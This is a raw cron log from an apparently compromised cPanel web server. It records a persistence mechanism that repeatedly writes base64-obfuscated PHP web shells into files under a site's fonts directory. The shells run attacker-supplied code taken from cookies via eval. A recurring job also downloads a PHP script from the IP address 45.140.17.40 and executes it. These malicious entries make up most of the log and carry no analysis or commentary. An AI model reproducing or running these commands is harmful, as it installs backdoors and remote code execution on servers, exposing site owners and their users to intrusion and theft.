Sep  9 16:52:01 ip-184-168-122-23 CROND[16483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:53:01 ip-184-168-122-23 CROND[16614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:53:01 ip-184-168-122-23 CROND[16616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:53:01 ip-184-168-122-23 CROND[16617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:53:01 ip-184-168-122-23 CROND[16615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:54:01 ip-184-168-122-23 CROND[16785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:54:01 ip-184-168-122-23 CROND[16787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:54:01 ip-184-168-122-23 CROND[16790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:54:01 ip-184-168-122-23 CROND[16788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:54:01 ip-184-168-122-23 CROND[16789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:55:01 ip-184-168-122-23 CROND[16892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:55:01 ip-184-168-122-23 CROND[16895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:55:01 ip-184-168-122-23 CROND[16896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:55:01 ip-184-168-122-23 CROND[16894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:55:01 ip-184-168-122-23 CROND[16897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:55:01 ip-184-168-122-23 CROND[16899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:56:01 ip-184-168-122-23 CROND[16989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:56:01 ip-184-168-122-23 CROND[16991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:56:01 ip-184-168-122-23 CROND[16993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:56:01 ip-184-168-122-23 CROND[16992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:56:01 ip-184-168-122-23 CROND[16994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:57:01 ip-184-168-122-23 CROND[17101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:57:01 ip-184-168-122-23 CROND[17103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:57:01 ip-184-168-122-23 CROND[17102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:57:01 ip-184-168-122-23 CROND[17100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:58:01 ip-184-168-122-23 CROND[17185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:58:01 ip-184-168-122-23 CROND[17187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:58:01 ip-184-168-122-23 CROND[17188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:58:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:58:01 ip-184-168-122-23 CROND[17190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:59:02 ip-184-168-122-23 CROND[17348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:59:02 ip-184-168-122-23 CROND[17349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:59:02 ip-184-168-122-23 CROND[17352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:59:02 ip-184-168-122-23 CROND[17353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:00:01 ip-184-168-122-23 CROND[17446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:00:01 ip-184-168-122-23 CROND[17447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:00:01 ip-184-168-122-23 CROND[17448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:01:02 ip-184-168-122-23 CROND[17557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:01:02 ip-184-168-122-23 CROND[17559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:01:02 ip-184-168-122-23 CROND[17560]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 17:01:02 ip-184-168-122-23 CROND[17561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:01:02 ip-184-168-122-23 CROND[17562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:01:02 ip-184-168-122-23 CROND[17564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17560]: starting 0anacron
Sep  9 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17578]: finished 0anacron
Sep  9 17:02:02 ip-184-168-122-23 CROND[17656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:02:02 ip-184-168-122-23 CROND[17658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:02:02 ip-184-168-122-23 CROND[17659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:02:02 ip-184-168-122-23 CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:02:02 ip-184-168-122-23 CROND[17660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:03:01 ip-184-168-122-23 CROND[17752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:03:01 ip-184-168-122-23 CROND[17753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:03:01 ip-184-168-122-23 CROND[17754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:03:01 ip-184-168-122-23 CROND[17755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:04:01 ip-184-168-122-23 CROND[17919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:04:01 ip-184-168-122-23 CROND[17922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:04:01 ip-184-168-122-23 CROND[17921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:04:01 ip-184-168-122-23 CROND[17923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
